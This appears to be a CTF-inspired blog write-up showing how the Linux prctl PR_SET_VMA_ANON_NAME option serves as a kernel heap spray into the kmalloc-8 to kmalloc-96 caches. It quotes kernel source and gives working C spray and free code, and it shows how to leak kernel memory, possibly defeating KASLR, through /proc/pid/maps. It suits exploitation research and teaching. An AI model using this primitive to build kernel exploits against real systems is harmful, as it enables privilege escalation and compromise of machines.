TLDR

prctl PR_SET_VMA (PR_SET_VMA_ANON_NAME) can be used as a (possibly new!) heap spray method targeting the kmalloc-8 to kmalloc-96 caches. The sprayed object, anon_vma_name, is dynamically sized, and can range from larger than 4 bytes to a maximum of 84 bytes. The object can be easily allocated and freed via the prctl syscall, and leaked information can be obtained via reading the proc/pid/maps file. The advantage of this method is that it does not require a cross-cache attack from cg/other caches (unlike other objects such as msg_msg) as anon_vma_name is allocated with the GFP_KERNEL flag.

Introduction and Backstory

While doing my internship, I was given a kernel pwn CTF challenge to teach me some fundamental techniques. The vulnerability involved was a race condition leading to a write, and part of the challenge involved leaking a randomly generated secret key which would be XORed with your data before it was written to the memory location. However, how the write worked meant that it wrote a large number of bytes from the start of your target memory location (since you don’t know the XOR key, the write is uncontrollable), and would destroy the headers of many common sprayable objects such as msg_msg, setxattr or add_key. The restrictions on the size of the object and its allocation into GFP_KERNEL kmalloc caches also meant that in order to spray some of these common objects, I would have to perform a cross-cache attack, and for some objects such as sk_buff the cross-cache would have to be across pages of different orders :(((

Out of desperation to find a slightly less annoying sprayable object, I started looking at syscalls. Ideally, I wanted something that:

  1. Could be allocated and freed from userspace
  2. Could be read from userspace
  3. Is pretty useless/has useless headers (so that it would not cause a kernel panic if I overwrote the headers with random garbage and then tried to free the object)

Objects that tend to fit these criteria would probably be those that store strings which would be names of some stuff (e.g. hostname), though the struct used by uname (which I was hoping would be a viable spray) was unfortunately allocated on the stack. Then, I found prctl.

What is prctl?

According to the Linux man pages, prctl() manipulates various aspects of the behavior of the calling thread or process.

#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);

It does a lot of different stuff, but the option I was interested in is PR_SET_VMA, and its suboption PR_SET_VMA_ANON_NAME. Basically PR_SET_VMA sets an attribute defined in arg2 for a virtual memory area arg3 of size arg4. arg5 specifies the value of the attribute to be set. If arg2 is PR_SET_VMA_ANON_NAME, it will set a name for an anonymous virtual memory area. This sounds like something that would have a useless, sprayable struct!

In order for this to work, the option CONFIG_ANON_VMA_NAME must be enabled. As far as I know, this is enabled on the default ubuntu kernel config. For this challenge, I was using Linux kernel version 6.1.37.

Let’s look at the anon_vma_name struct:

struct anon_vma_name {
  struct kref kref;
  char name[]; /* The name needs to be at the end because it is dynamically sized. */
};

struct kref {
  refcount_t refcount;
};

Looks very useless! The header would be 4 bytes (since struct kref is 4 bytes), and name is dynamically sized. The maximum size of the name character array is 80, hence this object can have a size ranging from greater than 4 bytes to 84 bytes.

Let’s trace the kernel code flow:

static int prctl_set_vma(unsigned long opt, unsigned long addr,
			 unsigned long size, unsigned long arg)
{
	struct mm_struct *mm = current->mm;
	const char __user *uname;
	struct anon_vma_name *anon_name = NULL;
	int error;

	switch (opt) {
	case PR_SET_VMA_ANON_NAME:
		uname = (const char __user *)arg;
		if (uname) {
			char *name, *pch;

			name = strndup_user(uname, ANON_VMA_NAME_MAX_LEN);
			if (IS_ERR(name))
				return PTR_ERR(name);

			for (pch = name; *pch != '\0'; pch++) {
				if (!is_valid_name_char(*pch)) { // [1]
					kfree(name);
					return -EINVAL;
				}
			}
			/* anon_vma has its own copy */
			anon_name = anon_vma_name_alloc(name); // [2]
			kfree(name);
			if (!anon_name)
				return -ENOMEM;

		}

		mmap_write_lock(mm);
		error = madvise_set_anon_name(mm, addr, size, anon_name);
		mmap_write_unlock(mm);
		anon_vma_name_put(anon_name);
		break;
	default:
		error = -EINVAL;
	}

	return error;
}

In the code above, it checks ([1]) whether the inputted name has valid, printable characters. If the check passes ([2]), anon_vma_name_alloc is called:

struct anon_vma_name *anon_vma_name_alloc(const char *name)
{
	struct anon_vma_name *anon_name;
	size_t count;

	/* Add 1 for NUL terminator at the end of the anon_name->name */
	count = strlen(name) + 1;
	anon_name = kmalloc(struct_size(anon_name, name, count), GFP_KERNEL); // [3]
	if (anon_name) {
		kref_init(&anon_name->kref);
		memcpy(anon_name->name, name, count);
	}

	return anon_name;
}

Here ([3]), the struct is allocated by kmalloc, and as GFP_KERNEL is specificed, it will go into a normal kmalloc cache. This is very convenient because we can basically spray this into any cache from kmalloc-8 to kmalloc-96, and we can avoid any annoying cross-caching from cg caches!

Let’s see how to read from the spray (thanks to my mentor for this bit!). Looking at the show_map_vma function:

	if (file) {
		seq_pad(m, ' ');
		/*
		 * If user named this anon shared memory via
		 * prctl(PR_SET_VMA ..., use the provided name.
		 */
		if (anon_name)
			seq_printf(m, "[anon_shmem:%s]", anon_name->name);
		else
			seq_file_path(m, file, "\n");
		goto done;
	}

As the newly set name is used, it appears we can read from it via the /proc/pid/maps file, allowing us to possibly leak stuff from kernel memory from the maps file. However, the limitation of this method is that if the information to be leaked contains null bytes, it will print up to those null bytes, and then stop. If you are lucky and you have a kernel text/heap pointer with no null bytes, this method could potentially be used to bypass KASLR.

Let’s look at how the spray can be freed:

void anon_vma_name_free(struct kref *kref)
{
	struct anon_vma_name *anon_name =
			container_of(kref, struct anon_vma_name, kref);
	kfree(anon_name);
}

Presumably how this object is freed is similar to how files are freed. When the process dies, or if prctl is called again and the name buffer is set to NULL, the reference count is decremented. If the reference count becomes 0, the anon_vma_name object is freed.

How to spray anon_vma_name

Spraying anon_vma_name is simple: just use the prctl syscall with PR_SET_VMA and PR_SET_VMA_ANON_NAME arguments. One way of doing this is as shown (sorry for bad code):

#define NUM_PRCTLS 1024
void * address[NUM_PRCTLS];

int rename_vma(unsigned long addr, unsigned long size, char *name) {
    int res;
    res = prctl(PR_SET_VMA, PR_SET_VMA_ANON_NAME, addr, size, name);
    if (res < 0)
        perror("[!] prctl");
	    return -errno;
    return res;
}

static void spray_vma_name(void) {
    for (int idx = 0; idx < NUM_PRCTLS; idx++) {
        address[idx] = mmap(NULL, 1024, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        
        char buf[80];
        char test_str[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
        memcpy(buf, test_str, 72);
        char store[8];
        memset(store, 0, 8);
        sprintf(store, "%d", idx);
        memcpy(&buf[72], store, 8);
        
        rename_vma((unsigned long) address[idx], 1024, buf);
    }
}

The names assigned need to be different, because if the same name is used, the kernel would reuse the same anon_vma_name object, and the spray will fail. This is shown in the kernel code:

static inline
struct anon_vma_name *anon_vma_name_reuse(struct anon_vma_name *anon_name)
{
	/* Prevent anon_name refcount saturation early on */
	if (kref_read(&anon_name->kref) < REFCOUNT_MAX) {
		anon_vma_name_get(anon_name);
		return anon_name;

	}
	return anon_vma_name_alloc(anon_name->name);
}

On gdb, the spray looks as such (the garbage data above the spray is what I wanted to read, it was written to the same address as the sprayed object due to how the challenge works):

Spray on gdb

In order to read from the spray, all you need to do is to cat the /proc/pid/maps file!

Reading from maps file

You can also do it programmatically in your code:

Leaked key

The last hexadecimal number is the leaked secret key which was written to the anon_vma_name object, and is the same as that in the first image.

As very well put by my fellow intern, this is the equivalent of leaking stuff from kernel memory via the task manager :D

To free the spray, all you need to do is to use the prctl syscall again, but this time setting the name buffer to NULL.

for (int i = 0; i < NUM_PRCTLS; i++) {
	rename_vma((unsigned long) address[i], 1024, NULL);
}

Conclusion

prctl’s PR_SET_VMA can be used as a nice convenient heap spray into kmalloc-8 to kmalloc-96. Thanks to Billy for mentoring me and I hope to learn and find more interesting things in the weeks to come! :D

References

  1. https://elixir.bootlin.com/linux/v6.1.37/source/include/linux/mm_inline.h
  2. https://man7.org/linux/man-pages/man2/prctl.2.html